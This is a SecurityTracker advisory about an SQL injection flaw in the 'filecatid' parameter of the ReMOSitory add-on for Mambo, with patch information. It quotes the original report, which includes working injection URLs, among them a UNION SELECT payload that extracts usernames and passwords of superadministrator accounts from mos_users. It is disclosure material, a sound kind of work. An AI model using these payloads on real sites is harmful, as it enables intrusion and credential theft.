Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ReMOSitory Server Input Validation Hole in 'filecatid' Lets Remote Users Inject SQL Commands
|
|
SecurityTracker Alert ID: 1011356
|
|
SecurityTracker URL: http://securitytracker.com/id?1011356
|
|
CVE Reference: CAN-2004-2143
(Links to External Site)
|
Updated: Jul 2 2005
|
Original Entry Date: Sep 18 2004
|
Impact: Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Description: An input validation vulnerability was reported in the ReMOSitory add-on for Mambo Open Server. A remote user can inject SQL commands.
The software does not properly validate user-supplied input in the 'filecatid' parameter. A remote user can submit a specially crafted
request to inject SQL commands.
A demonstration exploit URL is provided:
http://[target]/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filec
atid=499%20and%201=0[SQL]/*
The flaw does not reside in the Mambo Open Server core itself, but rather, in the 3rd party ReMOSitory
software.
khoai reported this vulnerability.
|
Impact: A remote user can inject SQL commands to be executed by the underlying database.
|
Solution: The vendor indicates that ReMOSitory is no longer supported.
The vendor reports that Arthur Konze from mamboportal.com has provided
a patch, available at:
http://www.mamboportal.com/uploadfiles/remository_fix.zip
Gene Rodrigues (mmx) reported that an alternate
to ReMOSitory is 'Docman', available at:
http://mamboforge.net
|
Vendor URL: mambo.clippersoft.net/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: khoaimi <kh0aimi@yahoo.com>
|
Message History:
None.
|
Source Message Contents
|
Date: 18 Sep 2004 03:39:46 -0000
From: khoaimi <kh0aimi@yahoo.com>
Subject: Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL
|
Vendor
www.mamboportal.com
Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the
planet. It is used all over
the world for everything from simple websites to complex corporate applications. Mambo is easy to in
stall, simple to manage, and
reliable.
Bug name : SQL injection
Version : lastest Version 4.5.1(1.0.9) and lower.
Exploit :
http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent
=folder&filecatid=499%20and%201=0[SQL]/*
You can exploit from the table "mos_users" with the query below
http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&fi
lecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,1
6,17,18,19,20,21,22,23%20from%20mos_users%20where%20usert
ype=0/*
with the values of usertype :
0 = superadministrator
1 = administrator
2 = editor
3 = user
5 = publisher
6 = manager
Vendor feedback :
Not yet
Vendor patch :
Not yet
khoai
www.xfrog.org
|
|
Go to the Top of This SecurityTracker Archive Page
|
